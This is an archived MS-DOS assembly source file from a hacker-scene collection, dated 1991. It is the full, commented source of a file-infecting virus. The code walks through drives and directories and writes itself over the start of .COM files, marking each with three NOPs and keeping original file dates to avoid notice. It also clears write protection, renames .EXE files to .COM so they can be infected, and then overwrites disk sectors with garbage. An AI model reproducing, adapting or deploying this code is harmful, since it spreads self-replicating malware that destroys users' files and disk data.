home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / VIRUS.ASM < prev    next >
Assembly Source File  |  1991-01-24  |  14KB  |  399 lines

  1.  
  2. Code    Segment
  3.         Assume  CS:Code
  4. progr   equ     100h
  5.         ORG     progr
  6. ;*************************************************************************
  7. ;       The three NOP's serve as the marker byte of the
  8. ;       virus which will allow it to identify a virus
  9. ;*************************************************************************
  10. MAIN:
  11.         nop
  12.         nop
  13.         nop
  14. ;*************************************************************************
  15. ;       Initialize the pointers
  16. ;*************************************************************************
  17.         mov ax,00
  18.         mov es:[pointer],ax
  19.         mov es:[counter],ax
  20.         mov es:[disks],al
  21. ;*************************************************************************
  22. ;       Get the selected drive
  23. ;*************************************************************************
  24.         mov ah,19h              ; drive?
  25.         int 21h
  26. ;*************************************************************************
  27. ;       Get the current path on the current drive
  28. ;*************************************************************************
  29.         mov cs:drive,al         ; save drive
  30.         mov ah,47h              ; dir?
  31.         mov dh,0
  32.         add al,1
  33.         mov dl,al               ; in actual drive
  34.         lea si,cs:old_path
  35.         int 21h
  36.         
  37. ;*************************************************************************
  38. ;       Get the number of drives present.
  39. ;       If only one drive is present, the pointer for
  40. ;       search order will be set to search order + 6
  41. ;*************************************************************************
  42.  
  43.         mov ah,0eh              ; how many disks
  44.         mov dl,0                ;
  45.         int 21h
  46.         
  47.         mov al,01
  48.         cmp al,01               ; one drive?
  49.         jnz hups3
  50.         mov al,06
  51.         
  52. hups3:  mov ah,0
  53.         lea bx,search_order
  54.         add bx,ax
  55.         add bx,0001h
  56.         mov cs:pointer,bx
  57.         clc
  58.         
  59. ;*************************************************************************
  60. ;       Carry is set, if no more .COM's are found.
  61. ;       Then, to avoid unnecessary work, .EXE files will
  62. ;       be renamed to .COM file and infected. 
  63. ;       This causes the error message "Program too lrage
  64. ;       to fit in memory" when starting larger infected 
  65. ;       EXE programs.
  66. ;*************************************************************************
  67.  
  68. change_disk:
  69.         jnc no_name_change
  70.         mov ah,17h              ; change exe to com
  71.         lea dx,cs:maske_exe
  72.         int 21h
  73.         cmp al,0ffh
  74.         jnz no_name_change      ; .EXE found?
  75.  
  76. ;*************************************************************************
  77. ;       If neither .COM nor .EXE is found, then sectors will
  78. ;       be overwritten depending on the system time in
  79. ;       milliseconds. This is the time of the complete
  80. ;       "infection" of a storage medium. The virus can find
  81. ;       nothing more to infect and starts its destruction.
  82. ;*************************************************************************
  83.  
  84.         mov ah,2ch     ; read system clock
  85.         int 21h
  86.         mov bx,cs:pointer
  87.         mov al,cs:[bx]
  88.         mov bx,dx
  89.         mov cx,2
  90.         mov dh,0
  91.         int 26h         ; write crap on disk
  92.         
  93. ;*************************************************************************
  94. ;       Check if the end of the search order table has been
  95. ;       reached. If so, end.
  96. ;*************************************************************************
  97.  
  98. no_name_change:
  99.         mov bx,cs:pointer
  100.         dec bx
  101.         mov cs:pointer,bx
  102.         mov dl,cs:[bx]
  103.         cmp dl,0ffh
  104.         jnz hups2
  105.         jmp hops
  106.         
  107. ;*************************************************************************
  108. ;       Get new drive from search order table and
  109. ;       select it.
  110. ;*************************************************************************
  111.  
  112. hups2:
  113.         mov ah,0eh
  114.         int 21h         ; change disk
  115.         
  116. ;*************************************************************************
  117. ;       Start in the root directory
  118. ;*************************************************************************
  119.  
  120.         mov ah,3bh      ; change path
  121.         lea dx,path
  122.         int 21h
  123.         jmp find_first_file
  124.         
  125. ;*************************************************************************
  126. ;       Starting from the root, search for the first subdir
  127. ;       First convert all .EXE files to .COM in the old 
  128. ;       directory.
  129. ;*************************************************************************
  130.  
  131. find_first_subdir:
  132.         mov ah,17h              ; change exe to com
  133.         lea dx,cs:maske_exe
  134.         int 21h
  135.         mov ah,3bh              ; use root dir
  136.         lea dx,path
  137.         int 21h
  138.         mov ah,04eh             ;Search for first subdirectory
  139.         mov cx,00010001b        ; dir mask                        
  140.         lea dx,maske_dir
  141.         int 21h
  142.         jc change_disk
  143.         
  144.         mov bx,CS:counter
  145.         INC BX
  146.         DEC bx
  147.         jz  use_next_subdir
  148.         
  149. ;*************************************************************************
  150. ;       Search for the next subdir. If no more directories
  151. ;       are found, the drive will be changed.
  152. ;*************************************************************************
  153.  
  154. find_next_subdir:
  155.         mov ah,4fh      ; search for next subdir
  156.         int 21h
  157.         jc change_disk
  158.         dec bx
  159.         jnz find_next_subdir
  160.         
  161. ;*************************************************************************
  162. ;       Select found directory
  163. ;*************************************************************************
  164.  
  165. use_next_subdir:
  166.         mov ah,2fh      ; get dta address
  167.         int 21h
  168.         add bx,1ch
  169.         mov es:[bx],'\ ' ; address of name in dta
  170.         inc bx
  171.         push ds
  172.         mov ax,es
  173.         mov ds,ax
  174.         mov dx,bx
  175.         mov ah,3bh      ; change path
  176.         int 21h
  177.         pop ds
  178.         mov bx,cs:counter
  179.         inc bx
  180.         mov CS:counter,bx
  181.         
  182. ;*************************************************************************
  183. ;       Find first .COM file in the current directory.
  184. ;       If there are non, search the next directory.
  185. ;*************************************************************************
  186.  
  187. find_first_file:
  188.         mov ah,04eh     ; Search for first
  189.         mov cx,00000001b ; mask
  190.         lea dx,maske_com        ;
  191.         int 21h
  192.         jc find_first_subdir
  193.         jmp check_if_ill
  194.         
  195. ;*************************************************************************
  196. ;       If the program is already infected, search for
  197. ;       the next program.
  198. ;*************************************************************************
  199.  
  200. find_next_file:
  201.         mov ah,4fh      ; search for next
  202.         int 21h
  203.         jc  find_first_subdir
  204.         
  205. ;*************************************************************************
  206. ;       Check if already infected by the virus.
  207. ;*************************************************************************
  208.  
  209. check_if_ill:
  210.         mov ah,3dh      ; open channel
  211.         mov al,02h      ; read/write
  212.         mov dx,9eh      ; address of name in dta
  213.         int 21h
  214.         mov bx,ax       ; save channel
  215.         mov ah,3fh      ; read file
  216.         mov cx,buflen   ;
  217.         mov dx,buffer   ; write in buffer
  218.         int 21h
  219.         mov ah,3eh      ; CLODE FILE
  220.         int 21h
  221.         
  222. ;*************************************************************************
  223. ;       Here we search for three NOP's.
  224. ;       If present, there is already an infection. We must
  225. ;       then continue the search.
  226. ;*************************************************************************
  227.  
  228.         mov bx,cs:[buffer]
  229.         cmp bx,9090h
  230.         jz find_next_file
  231.         
  232. ;*************************************************************************
  233. ;       Bypass MS-DOS write protection if present
  234. ;*************************************************************************
  235.  
  236.         mov ah,43h      ; write enable
  237.         mov al,0
  238.         mov dx,9eh      ; address of name in dta
  239.         int 21h
  240.         mov ah,43h
  241.         mov al,01h
  242.         and cx,11111110b
  243.         int 21h
  244.         
  245. ;*************************************************************************
  246. ;       Open file for write access.
  247. ;*************************************************************************
  248.  
  249.         mov ah,3dh      ; open channel
  250.         mov al,02h      ; read/write
  251.         mov dx,9eh      ; address of name in dta
  252.         int 21h
  253.         
  254. ;*************************************************************************
  255. ;       Read date entry of program and save for future use.
  256. ;*************************************************************************
  257.  
  258.         mov bx,ax       ; channel
  259.         mov ah,57h      ; get date
  260.         mov al,0
  261.         int 21h
  262.         push cx         ; save date
  263.         push dx
  264.         
  265. ;*************************************************************************
  266. ;       The jump located at address 0100h of the program
  267. ;       will be saved for future use.
  268. ;*************************************************************************
  269.  
  270.         mov dx,cs:[conta]       ; save old jmp
  271.         mov cs:[jmpbuf],dx
  272.         mov dx,cs:[buffer+1]    ; save new jump
  273.         lea cx,cont-100h
  274.         sub dx,cx
  275.         mov cs:[conta],dx
  276.         
  277. ;*************************************************************************
  278. ;       The virus copies itself to the start of the file
  279. ;*************************************************************************
  280.  
  281.         mov ah,40h      ; write virus
  282.         mov cx,buflen   ; length buffer
  283.         lea dx,main     ; write virus
  284.         int 21h
  285.         
  286. ;*************************************************************************
  287. ;       Enter the old creation date of the file.
  288. ;*************************************************************************
  289.  
  290.         mov ah,57h      ; write date
  291.         mov al,1
  292.         pop dx
  293.         pop cx          ; restore date
  294.         int 21h
  295.         
  296. ;*************************************************************************
  297. ;       Close the file.
  298. ;*************************************************************************
  299.  
  300.         mov ah,3eh      ; close file
  301.         int 21h
  302.         
  303. ;*************************************************************************
  304. ;       restore the old jump address.
  305. ;       The virus saves at address "conta' the jump which
  306. ;       was at the start of the host program.
  307. ;       This is done to preserve the executability of the
  308. ;       host program as much as possible.
  309. ;       After saving itstill works with the jump address
  310. ;       contained in the virus. The jump address in the
  311. ;       virus differs from the jump address in memory
  312. ;
  313. ;*************************************************************************
  314.  
  315.         mov dx,cs:[jmpbuf]      ; restore old jmp
  316.         mov cs:[conta],dx
  317. hops:   nop
  318.         call use_old
  319.         
  320. ;*************************************************************************
  321. ;       Continue with the host program.
  322. ;*************************************************************************
  323.  
  324. cont    db 0e9h         ; make jump
  325. conta   dw 0
  326.         mov ah,00
  327.         int 21h
  328.         
  329. ;*************************************************************************
  330. ;       reactivate the selected drive at the start of the
  331. ;       program.
  332. ;*************************************************************************
  333.  
  334. use_old:
  335.         mov ah,0eh      ; use old drive
  336.         mov dl,cs:drive
  337.         int 21h
  338.         
  339. ;*************************************************************************
  340. ;       Reactivate the selected path at the start of the
  341. ;       program.
  342. ;*************************************************************************
  343.  
  344.         mov ah,3bh      ; use old dir
  345.         lea dx,old_path-1       ; get old path and backslash
  346.         int 21h
  347.         ret
  348.         
  349.  
  350. search_order    db 0ffh,1,0,2,3,0ffh,00,0ffh
  351. pointer         dw 0000         ; pointer f. search order
  352. counter         dw 0000         ; counter f. nth search
  353. disks           db 0            ; number of disks
  354.  
  355.  
  356. maske_com       db "*.com",00   ; search for com files
  357. maske_dir       db "*",00       ; search dir's
  358. maske_exe       db 0ffh,0,0,0,0,0,00111111b
  359.                 db 0,"????????exe",0,0,0,0
  360.                 db 0,"????????com",0
  361. maske_all       db 0ffh,0,0,0,0,0,00111111b
  362.                 db 0,"???????????",0,0,0,0
  363.                 db 0,"????????com",0
  364.                 
  365. buffer equ 0e000h       ; a safe place
  366.  
  367. buflen equ 230h          ; length of virus !!!!!!
  368.                         ;      careful
  369.                         ; if changing !!!!!!
  370.                         
  371. jmpbuf equ buffer+buflen        ; a safe place for jump
  372. path   db  "\",0                ; first path
  373. drive  db  0                    ; actual drive
  374. back_slash db "\"
  375. old_path  db 32 dup(?)          ; old path
  376.  
  377. code    ends
  378.  
  379. end main
  380.  
  381. ;*************************************************************************
  382. ;       WHAT THE PROGRAM DOES:
  383. ;
  384. ;        When the program is started, the first COM file in the root
  385. ;        directory is infected. You can't see any changes to the 
  386. ;        directory entries. But if you look at the hex dump of an
  387. ;        infected program, you can see the marker, which in this case 
  388. ;        consists of three NOP's (hex 90). WHen the infected program 
  389. ;        is started, the virus will first replicate itself, and then
  390. ;        try to run the host program. It may run or it may not, but 
  391. ;        it will infect another program. This continues until all
  392. ;        the COM files are infected. The next time it is run, all
  393. ;        of the EXE files are changed to COM files so that they can
  394. ;        be infected. In addition, the manipulation task of the virus
  395. ;        begins, which consists of the random destruction of disk
  396. ;        sectors.                        
  397. ;*************************************************************************
  398.  
  399.